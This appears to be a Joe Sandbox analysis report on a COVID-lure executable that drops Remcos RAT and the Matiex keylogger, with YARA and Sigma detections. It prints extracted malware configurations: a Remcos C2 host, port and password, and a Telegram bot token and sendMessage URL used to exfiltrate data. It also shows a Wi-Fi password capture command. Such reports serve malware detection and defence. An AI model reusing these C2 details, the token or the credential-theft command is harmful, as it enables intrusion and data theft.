0.2.UK COVID UPDATES AND ENTITLEMENT.exe.2f737f0.1.unpack	Remcos_1	Remcos Payload	kevoreilly	0x11034:$name: Remcos 0x118a8:$name: Remcos 0x118fb:$name: REMCOS 0x10688:$time: %02i:%02i:%02i:%03i 0x11320:$time: %02i:%02i:%02i:%03i 0x29fc:$crypto: 0F B6 96 08 04 00 00 89 10 8B 45 08 8D 34 07 8B 01 03 C2 8B CB 99 F7 F9 8A 84 95 F4 FB FF FF 30 ...
0.2.UK COVID UPDATES AND ENTITLEMENT.exe.2f737f0.1.unpack	REMCOS_RAT_variants	unknown	unknown	0x114dc:$funcs1: autogetofflinelogs 0x114c0:$funcs2: clearlogins 0x114f0:$funcs3: getofflinelogs 0x11578:$funcs4: execcom 0x114cc:$funcs5: deletekeylog 0x11798:$funcs6: remscriptexecd 0x115bc:$funcs7: getwindows 0x10da0:$funcs8: fundlldata 0x10d78:$funcs9: getfunlib 0x107ec:$funcs10: autofflinelogs 0x113b8:$funcs11: getclipboard 0x114b4:$funcs12: getscrslist 0x107e0:$funcs13: offlinelogs 0x105c8:$funcs14: getcamsingleframe 0x116e4:$funcs15: listfiles 0x115e0:$funcs16: getproclist 0x10828:$funcs17: onlinelogs 0x11700:$funcs18: getdrives 0x11784:$funcs19: remscriptsuccess 0x10600:$funcs20: getcamframe 0x1115c:$str_a1: C:\Windows\System32\cmd.exe
0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3f255e8.7.raw.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3f255e8.7.raw.unpack	Remcos_1	Remcos Payload	kevoreilly	0x11034:$name: Remcos 0x118a8:$name: Remcos 0x118fb:$name: REMCOS 0x10688:$time: %02i:%02i:%02i:%03i 0x11320:$time: %02i:%02i:%02i:%03i 0x29fc:$crypto: 0F B6 96 08 04 00 00 89 10 8B 45 08 8D 34 07 8B 01 03 C2 8B CB 99 F7 F9 8A 84 95 F4 FB FF FF 30 ...
0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3f255e8.7.raw.unpack	Remcos	detect Remcos in memory	JPCERT/CC Incident Response Group	0x11034:$remcos: Remcos 0x118a8:$remcos: Remcos 0x118e0:$url: Breaking-Security.Net 0x160ea:$resource: SETTINGS
0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3f255e8.7.raw.unpack	REMCOS_RAT_variants	unknown	unknown	0x114dc:$funcs1: autogetofflinelogs 0x114c0:$funcs2: clearlogins 0x114f0:$funcs3: getofflinelogs 0x11578:$funcs4: execcom 0x114cc:$funcs5: deletekeylog 0x11798:$funcs6: remscriptexecd 0x115bc:$funcs7: getwindows 0x10da0:$funcs8: fundlldata 0x10d78:$funcs9: getfunlib 0x107ec:$funcs10: autofflinelogs 0x113b8:$funcs11: getclipboard 0x114b4:$funcs12: getscrslist 0x107e0:$funcs13: offlinelogs 0x105c8:$funcs14: getcamsingleframe 0x116e4:$funcs15: listfiles 0x115e0:$funcs16: getproclist 0x10828:$funcs17: onlinelogs 0x11700:$funcs18: getdrives 0x11784:$funcs19: remscriptsuccess 0x10600:$funcs20: getcamframe 0x1115c:$str_a1: C:\Windows\System32\cmd.exe
28.0.UK COVID UPDATES AND ENTITLEMENT.exe.400000.6.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
28.0.UK COVID UPDATES AND ENTITLEMENT.exe.400000.6.unpack	Remcos_1	Remcos Payload	kevoreilly	0x11034:$name: Remcos 0x118a8:$name: Remcos 0x118fb:$name: REMCOS 0x10688:$time: %02i:%02i:%02i:%03i 0x11320:$time: %02i:%02i:%02i:%03i 0x29fc:$crypto: 0F B6 96 08 04 00 00 89 10 8B 45 08 8D 34 07 8B 01 03 C2 8B CB 99 F7 F9 8A 84 95 F4 FB FF FF 30 ...
28.0.UK COVID UPDATES AND ENTITLEMENT.exe.400000.6.unpack	Remcos	detect Remcos in memory	JPCERT/CC Incident Response Group	0x11034:$remcos: Remcos 0x118a8:$remcos: Remcos 0x118e0:$url: Breaking-Security.Net 0x160ea:$resource: SETTINGS
28.0.UK COVID UPDATES AND ENTITLEMENT.exe.400000.6.unpack	REMCOS_RAT_variants	unknown	unknown	0x114dc:$funcs1: autogetofflinelogs 0x114c0:$funcs2: clearlogins 0x114f0:$funcs3: getofflinelogs 0x11578:$funcs4: execcom 0x114cc:$funcs5: deletekeylog 0x11798:$funcs6: remscriptexecd 0x115bc:$funcs7: getwindows 0x10da0:$funcs8: fundlldata 0x10d78:$funcs9: getfunlib 0x107ec:$funcs10: autofflinelogs 0x113b8:$funcs11: getclipboard 0x114b4:$funcs12: getscrslist 0x107e0:$funcs13: offlinelogs 0x105c8:$funcs14: getcamsingleframe 0x116e4:$funcs15: listfiles 0x115e0:$funcs16: getproclist 0x10828:$funcs17: onlinelogs 0x11700:$funcs18: getdrives 0x11784:$funcs19: remscriptsuccess 0x10600:$funcs20: getcamframe 0x1115c:$str_a1: C:\Windows\System32\cmd.exe
28.2.UK COVID UPDATES AND ENTITLEMENT.exe.400000.0.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
28.2.UK COVID UPDATES AND ENTITLEMENT.exe.400000.0.unpack	Remcos_1	Remcos Payload	kevoreilly	0x11034:$name: Remcos 0x118a8:$name: Remcos 0x118fb:$name: REMCOS 0x10688:$time: %02i:%02i:%02i:%03i 0x11320:$time: %02i:%02i:%02i:%03i 0x29fc:$crypto: 0F B6 96 08 04 00 00 89 10 8B 45 08 8D 34 07 8B 01 03 C2 8B CB 99 F7 F9 8A 84 95 F4 FB FF FF 30 ...
28.2.UK COVID UPDATES AND ENTITLEMENT.exe.400000.0.unpack	Remcos	detect Remcos in memory	JPCERT/CC Incident Response Group	0x11034:$remcos: Remcos 0x118a8:$remcos: Remcos 0x118e0:$url: Breaking-Security.Net 0x160ea:$resource: SETTINGS
28.2.UK COVID UPDATES AND ENTITLEMENT.exe.400000.0.unpack	REMCOS_RAT_variants	unknown	unknown	0x114dc:$funcs1: autogetofflinelogs 0x114c0:$funcs2: clearlogins 0x114f0:$funcs3: getofflinelogs 0x11578:$funcs4: execcom 0x114cc:$funcs5: deletekeylog 0x11798:$funcs6: remscriptexecd 0x115bc:$funcs7: getwindows 0x10da0:$funcs8: fundlldata 0x10d78:$funcs9: getfunlib 0x107ec:$funcs10: autofflinelogs 0x113b8:$funcs11: getclipboard 0x114b4:$funcs12: getscrslist 0x107e0:$funcs13: offlinelogs 0x105c8:$funcs14: getcamsingleframe 0x116e4:$funcs15: listfiles 0x115e0:$funcs16: getproclist 0x10828:$funcs17: onlinelogs 0x11700:$funcs18: getdrives 0x11784:$funcs19: remscriptsuccess 0x10600:$funcs20: getcamframe 0x1115c:$str_a1: C:\Windows\System32\cmd.exe
0.2.UK COVID UPDATES AND ENTITLEMENT.exe.2f737f0.1.raw.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
0.2.UK COVID UPDATES AND ENTITLEMENT.exe.2f737f0.1.raw.unpack	Remcos_1	Remcos Payload	kevoreilly	0x11034:$name: Remcos 0x118a8:$name: Remcos 0x118fb:$name: REMCOS 0x10688:$time: %02i:%02i:%02i:%03i 0x11320:$time: %02i:%02i:%02i:%03i 0x29fc:$crypto: 0F B6 96 08 04 00 00 89 10 8B 45 08 8D 34 07 8B 01 03 C2 8B CB 99 F7 F9 8A 84 95 F4 FB FF FF 30 ...
0.2.UK COVID UPDATES AND ENTITLEMENT.exe.2f737f0.1.raw.unpack	REMCOS_RAT_variants	unknown	unknown	0x114dc:$funcs1: autogetofflinelogs 0x114c0:$funcs2: clearlogins 0x114f0:$funcs3: getofflinelogs 0x11578:$funcs4: execcom 0x114cc:$funcs5: deletekeylog 0x11798:$funcs6: remscriptexecd 0x115bc:$funcs7: getwindows 0x10da0:$funcs8: fundlldata 0x10d78:$funcs9: getfunlib 0x107ec:$funcs10: autofflinelogs 0x113b8:$funcs11: getclipboard 0x114b4:$funcs12: getscrslist 0x107e0:$funcs13: offlinelogs 0x105c8:$funcs14: getcamsingleframe 0x116e4:$funcs15: listfiles 0x115e0:$funcs16: getproclist 0x10828:$funcs17: onlinelogs 0x11700:$funcs18: getdrives 0x11784:$funcs19: remscriptsuccess 0x10600:$funcs20: getcamframe 0x1115c:$str_a1: C:\Windows\System32\cmd.exe
0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3efd5c8.5.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3efd5c8.5.unpack	Remcos_1	Remcos Payload	kevoreilly	0x11034:$name: Remcos 0x118a8:$name: Remcos 0x118fb:$name: REMCOS 0x10688:$time: %02i:%02i:%02i:%03i 0x11320:$time: %02i:%02i:%02i:%03i 0x29fc:$crypto: 0F B6 96 08 04 00 00 89 10 8B 45 08 8D 34 07 8B 01 03 C2 8B CB 99 F7 F9 8A 84 95 F4 FB FF FF 30 ...
0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3efd5c8.5.unpack	Remcos	detect Remcos in memory	JPCERT/CC Incident Response Group	0x11034:$remcos: Remcos 0x118a8:$remcos: Remcos 0x118e0:$url: Breaking-Security.Net 0x160ea:$resource: SETTINGS
0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3efd5c8.5.unpack	REMCOS_RAT_variants	unknown	unknown	0x114dc:$funcs1: autogetofflinelogs 0x114c0:$funcs2: clearlogins 0x114f0:$funcs3: getofflinelogs 0x11578:$funcs4: execcom 0x114cc:$funcs5: deletekeylog 0x11798:$funcs6: remscriptexecd 0x115bc:$funcs7: getwindows 0x10da0:$funcs8: fundlldata 0x10d78:$funcs9: getfunlib 0x107ec:$funcs10: autofflinelogs 0x113b8:$funcs11: getclipboard 0x114b4:$funcs12: getscrslist 0x107e0:$funcs13: offlinelogs 0x105c8:$funcs14: getcamsingleframe 0x116e4:$funcs15: listfiles 0x115e0:$funcs16: getproclist 0x10828:$funcs17: onlinelogs 0x11700:$funcs18: getdrives 0x11784:$funcs19: remscriptsuccess 0x10600:$funcs20: getcamframe 0x1115c:$str_a1: C:\Windows\System32\cmd.exe
28.0.UK COVID UPDATES AND ENTITLEMENT.exe.400000.1.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
28.0.UK COVID UPDATES AND ENTITLEMENT.exe.400000.1.unpack	Remcos_1	Remcos Payload	kevoreilly	0x11034:$name: Remcos 0x118a8:$name: Remcos 0x118fb:$name: REMCOS 0x10688:$time: %02i:%02i:%02i:%03i 0x11320:$time: %02i:%02i:%02i:%03i 0x29fc:$crypto: 0F B6 96 08 04 00 00 89 10 8B 45 08 8D 34 07 8B 01 03 C2 8B CB 99 F7 F9 8A 84 95 F4 FB FF FF 30 ...
28.0.UK COVID UPDATES AND ENTITLEMENT.exe.400000.1.unpack	Remcos	detect Remcos in memory	JPCERT/CC Incident Response Group	0x11034:$remcos: Remcos 0x118a8:$remcos: Remcos 0x118e0:$url: Breaking-Security.Net 0x160ea:$resource: SETTINGS
28.0.UK COVID UPDATES AND ENTITLEMENT.exe.400000.1.unpack	REMCOS_RAT_variants	unknown	unknown	0x114dc:$funcs1: autogetofflinelogs 0x114c0:$funcs2: clearlogins 0x114f0:$funcs3: getofflinelogs 0x11578:$funcs4: execcom 0x114cc:$funcs5: deletekeylog 0x11798:$funcs6: remscriptexecd 0x115bc:$funcs7: getwindows 0x10da0:$funcs8: fundlldata 0x10d78:$funcs9: getfunlib 0x107ec:$funcs10: autofflinelogs 0x113b8:$funcs11: getclipboard 0x114b4:$funcs12: getscrslist 0x107e0:$funcs13: offlinelogs 0x105c8:$funcs14: getcamsingleframe 0x116e4:$funcs15: listfiles 0x115e0:$funcs16: getproclist 0x10828:$funcs17: onlinelogs 0x11700:$funcs18: getdrives 0x11784:$funcs19: remscriptsuccess 0x10600:$funcs20: getcamframe 0x1115c:$str_a1: C:\Windows\System32\cmd.exe
28.3.UK COVID UPDATES AND ENTITLEMENT.exe.2ef094d.6.raw.unpack	JoeSecurity_Matiex	Yara detected Matiex Keylogger	Joe Security
28.3.UK COVID UPDATES AND ENTITLEMENT.exe.2ef094d.6.raw.unpack	JoeSecurity_BedsObfuscator	Yara detected Beds Obfuscator	Joe Security
28.0.UK COVID UPDATES AND ENTITLEMENT.exe.2f3f602.4.unpack	JoeSecurity_Matiex	Yara detected Matiex Keylogger	Joe Security
28.3.UK COVID UPDATES AND ENTITLEMENT.exe.2f3f602.3.unpack	JoeSecurity_Matiex	Yara detected Matiex Keylogger	Joe Security
28.3.UK COVID UPDATES AND ENTITLEMENT.exe.2f3f602.3.unpack	JoeSecurity_BedsObfuscator	Yara detected Beds Obfuscator	Joe Security
28.0.UK COVID UPDATES AND ENTITLEMENT.exe.2f3f602.9.unpack	JoeSecurity_Matiex	Yara detected Matiex Keylogger	Joe Security
28.0.UK COVID UPDATES AND ENTITLEMENT.exe.2f3f602.9.unpack	JoeSecurity_BedsObfuscator	Yara detected Beds Obfuscator	Joe Security
28.0.UK COVID UPDATES AND ENTITLEMENT.exe.2f3f602.4.unpack	JoeSecurity_BedsObfuscator	Yara detected Beds Obfuscator	Joe Security
33.0.dwnl.exe.842704.1.raw.unpack	JoeSecurity_Matiex	Yara detected Matiex Keylogger	Joe Security
33.0.dwnl.exe.842704.1.raw.unpack	JoeSecurity_BedsObfuscator	Yara detected Beds Obfuscator	Joe Security
33.2.dwnl.exe.842704.1.raw.unpack	JoeSecurity_Matiex	Yara detected Matiex Keylogger	Joe Security
33.2.dwnl.exe.842704.1.raw.unpack	JoeSecurity_BedsObfuscator	Yara detected Beds Obfuscator	Joe Security
28.3.UK COVID UPDATES AND ENTITLEMENT.exe.2fcf496.0.raw.unpack	JoeSecurity_Matiex	Yara detected Matiex Keylogger	Joe Security
28.3.UK COVID UPDATES AND ENTITLEMENT.exe.2fcf496.0.raw.unpack	JoeSecurity_BedsObfuscator	Yara detected Beds Obfuscator	Joe Security
33.2.dwnl.exe.820000.0.unpack	JoeSecurity_Matiex	Yara detected Matiex Keylogger	Joe Security
33.2.dwnl.exe.820000.0.unpack	JoeSecurity_BedsObfuscator	Yara detected Beds Obfuscator	Joe Security
28.3.UK COVID UPDATES AND ENTITLEMENT.exe.2f3f602.5.unpack	JoeSecurity_Matiex	Yara detected Matiex Keylogger	Joe Security
28.3.UK COVID UPDATES AND ENTITLEMENT.exe.2f3f602.5.unpack	JoeSecurity_BedsObfuscator	Yara detected Beds Obfuscator	Joe Security
33.0.dwnl.exe.820000.0.unpack	JoeSecurity_Matiex	Yara detected Matiex Keylogger	Joe Security
33.0.dwnl.exe.820000.0.unpack	JoeSecurity_BedsObfuscator	Yara detected Beds Obfuscator	Joe Security
28.3.UK COVID UPDATES AND ENTITLEMENT.exe.2faeb92.2.unpack	JoeSecurity_Matiex	Yara detected Matiex Keylogger	Joe Security
28.3.UK COVID UPDATES AND ENTITLEMENT.exe.2faeb92.2.unpack	JoeSecurity_BedsObfuscator	Yara detected Beds Obfuscator	Joe Security
28.3.UK COVID UPDATES AND ENTITLEMENT.exe.2f3f602.3.raw.unpack	JoeSecurity_Matiex	Yara detected Matiex Keylogger	Joe Security
28.3.UK COVID UPDATES AND ENTITLEMENT.exe.2f3f602.3.raw.unpack	JoeSecurity_BedsObfuscator	Yara detected Beds Obfuscator	Joe Security
28.0.UK COVID UPDATES AND ENTITLEMENT.exe.2ef094d.10.raw.unpack	JoeSecurity_Matiex	Yara detected Matiex Keylogger	Joe Security
28.0.UK COVID UPDATES AND ENTITLEMENT.exe.2ef094d.10.raw.unpack	JoeSecurity_BedsObfuscator	Yara detected Beds Obfuscator	Joe Security
28.0.UK COVID UPDATES AND ENTITLEMENT.exe.2f5ff06.8.raw.unpack	JoeSecurity_Matiex	Yara detected Matiex Keylogger	Joe Security
28.0.UK COVID UPDATES AND ENTITLEMENT.exe.2f5ff06.8.raw.unpack	JoeSecurity_BedsObfuscator	Yara detected Beds Obfuscator	Joe Security
28.0.UK COVID UPDATES AND ENTITLEMENT.exe.2f3f602.9.raw.unpack	JoeSecurity_Matiex	Yara detected Matiex Keylogger	Joe Security
28.0.UK COVID UPDATES AND ENTITLEMENT.exe.2f3f602.9.raw.unpack	JoeSecurity_BedsObfuscator	Yara detected Beds Obfuscator	Joe Security
28.0.UK COVID UPDATES AND ENTITLEMENT.exe.2f5ff06.5.raw.unpack	JoeSecurity_Matiex	Yara detected Matiex Keylogger	Joe Security
28.0.UK COVID UPDATES AND ENTITLEMENT.exe.2f5ff06.5.raw.unpack	JoeSecurity_BedsObfuscator	Yara detected Beds Obfuscator	Joe Security
28.3.UK COVID UPDATES AND ENTITLEMENT.exe.2f5ff06.4.raw.unpack	JoeSecurity_Matiex	Yara detected Matiex Keylogger	Joe Security
28.3.UK COVID UPDATES AND ENTITLEMENT.exe.2f5ff06.4.raw.unpack	JoeSecurity_BedsObfuscator	Yara detected Beds Obfuscator	Joe Security
28.0.UK COVID UPDATES AND ENTITLEMENT.exe.2f3f602.4.raw.unpack	JoeSecurity_Matiex	Yara detected Matiex Keylogger	Joe Security
28.0.UK COVID UPDATES AND ENTITLEMENT.exe.2f3f602.4.raw.unpack	JoeSecurity_BedsObfuscator	Yara detected Beds Obfuscator	Joe Security
28.0.UK COVID UPDATES AND ENTITLEMENT.exe.2ef094d.3.raw.unpack	JoeSecurity_Matiex	Yara detected Matiex Keylogger	Joe Security
28.0.UK COVID UPDATES AND ENTITLEMENT.exe.2ef094d.3.raw.unpack	JoeSecurity_BedsObfuscator	Yara detected Beds Obfuscator	Joe Security
28.3.UK COVID UPDATES AND ENTITLEMENT.exe.2f5ff06.1.raw.unpack	JoeSecurity_Matiex	Yara detected Matiex Keylogger	Joe Security
28.3.UK COVID UPDATES AND ENTITLEMENT.exe.2f5ff06.1.raw.unpack	JoeSecurity_BedsObfuscator	Yara detected Beds Obfuscator	Joe Security
Click to see the 85 entries

Sigma Overview

System Summary:

Sigma detected: Non Interactive PowerShell

Show sources

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Test-Connection www.google.com , www.youtube.com , www.google.com , www.youtube.com ,www.google.com , www.youtube.com, CommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Test-Connection www.google.com , www.youtube.com , www.google.com , www.youtube.com ,www.google.com , www.youtube.com, CommandLine|base64offset|contains: M-*'-, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: 'C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe' , ParentImage: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe, ParentProcessId: 6360, ProcessCommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Test-Connection www.google.com , www.youtube.com , www.google.com , www.youtube.com ,www.google.com , www.youtube.com, ProcessId: 6632

Sigma detected: T1086 PowerShell Execution

Show sources

Source: Pipe created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: PipeName: \PSHost.132760134107124638.6632.DefaultAppDomain.powershell

Stealing of Sensitive Information:

Sigma detected: Capture Wi-Fi password

Show sources

Source: Process started

Author: Joe Security: Data: Command: 'netsh' wlan show profile, CommandLine: 'netsh' wlan show profile, CommandLine|base64offset|contains: V, Image: C:\Windows\SysWOW64\netsh.exe, NewProcessName: C:\Windows\SysWOW64\netsh.exe, OriginalFileName: C:\Windows\SysWOW64\netsh.exe, ParentCommandLine: 'C:\Users\user\AppData\Local\Temp\dwnl.exe' , ParentImage: C:\Users\user\AppData\Local\Temp\dwnl.exe, ParentProcessId: 2896, ProcessCommandLine: 'netsh' wlan show profile, ProcessId: 6988

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\dwnl.exe

Avira: detection malicious, Label: TR/Redcap.jajcu

Found malware configuration

Show sources

Source: 0000001C.00000002.468948804.0000000002900000.00000004.00000040.sdmp	Malware Configuration Extractor: Remcos {"Host:Port:Password": "tobi12345.hopto.org:40401:pass\|", "Assigned name": "UKLEADS", "Connect interval": "5", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Disable", "Install path": "AppData", "Copy file": "UK.exe", "Startup value": "remcos", "Hide file": "Disable", "Mutex": "remcos_aqizussesx", "Keylog flag": "0", "Keylog path": "AppData", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "1", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screens", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5", "Audio path": "AppData", "Audio folder": "audio", "Connect delay": "0", "Copy folder": "UK", "Keylog folder": "remcos"}
Source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.2ef094d.10.raw.unpack	Malware Configuration Extractor: Matiex {"Exfil Mode": "Telegram", "Telegram Token": "1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM", "Telegram ID": "1120598411"}
Source: dwnl.exe.2896.33.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendMessage"}

Multi AV Scanner detection for submitted file

Show sources

Source: UK COVID UPDATES AND ENTITLEMENT.exe	Virustotal: Detection: 26%			Perma Link
Source: UK COVID UPDATES AND ENTITLEMENT.exe	ReversingLabs: Detection: 15%

Yara detected Remcos RAT

Show sources

Source: Yara match	File source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3f255e8.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.UK COVID UPDATES AND ENTITLEMENT.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3efd5c8.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3ed9988.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.2f737f0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3f255e8.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.UK COVID UPDATES AND ENTITLEMENT.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.2f737f0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3efd5c8.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001C.00000000.430910958.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.418169362.0000000002F23000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.468948804.0000000002900000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000000.429721772.0000000002900000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000000.429209935.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000000.432136781.0000000002900000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.418954944.0000000003ED9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.419012391.0000000003F25000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.467780819.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.418279701.0000000002F5D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: UK COVID UPDATES AND ENTITLEMENT.exe PID: 6360, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: UK COVID UPDATES AND ENTITLEMENT.exe PID: 6720, type: MEMORYSTR

Multi AV Scanner detection for domain / URL

Show sources

Source: tobi12345.hopto.org	Virustotal: Detection: 10%			Perma Link
Source: tobi12345.hopto.org	Virustotal: Detection: 10%			Perma Link

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe

ReversingLabs: Detection: 15%

Machine Learning detection for sample

Show sources

Source: UK COVID UPDATES AND ENTITLEMENT.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe	Joe Sandbox ML: detected

Source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.2f737f0.1.unpack	Avira: Label: TR/Crypt.XPACK.Gen4
Source: 33.2.dwnl.exe.820000.0.unpack	Avira: Label: TR/Redcap.jajcu
Source: 33.0.dwnl.exe.820000.0.unpack	Avira: Label: TR/Redcap.jajcu

Source: unknown

HTTPS traffic detected: 172.67.188.154:443 -> 192.168.2.5:49783 version: TLS 1.0

Source: UK COVID UPDATES AND ENTITLEMENT.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49788 version: TLS 1.2

Source: UK COVID UPDATES AND ENTITLEMENT.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: cldapi.pdb_6 source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: wininet.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: WinTypes.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: dhcpcsvc.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: wkernel32.pdb source: WerFault.exe, 00000022.00000003.442720007.0000000003597000.00000004.00000001.sdmp
Source:	Binary string: bcrypt.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: pnrpnsp.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 00000022.00000003.450304339.0000000005A61000.00000004.00000001.sdmp
Source:	Binary string: NapiNSP.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 00000022.00000003.450304339.0000000005A61000.00000004.00000001.sdmp
Source:	Binary string: NapiNSP.pdb^? source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: WINMMBASE.pdbb?r source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: bcrypt.pdbe6 source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: wrpcrt4.pdb source: WerFault.exe, 00000022.00000003.450408838.0000000005A35000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 00000022.00000003.443176095.0000000003591000.00000004.00000001.sdmp
Source:	Binary string: wrpcrt4.pdbk source: WerFault.exe, 00000022.00000003.450408838.0000000005A35000.00000004.00000040.sdmp
Source:	Binary string: shcore.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: winnsi.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 00000022.00000003.450304339.0000000005A61000.00000004.00000001.sdmp
Source:	Binary string: fltLib.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: advapi32.pdb source: WerFault.exe, 00000022.00000003.450304339.0000000005A61000.00000004.00000001.sdmp
Source:	Binary string: wsspicli.pdb source: WerFault.exe, 00000022.00000003.450408838.0000000005A35000.00000004.00000040.sdmp
Source:	Binary string: shell32.pdb source: WerFault.exe, 00000022.00000003.450399223.0000000005A30000.00000004.00000040.sdmp
Source:	Binary string: CLBCatQ.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: urlmon.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
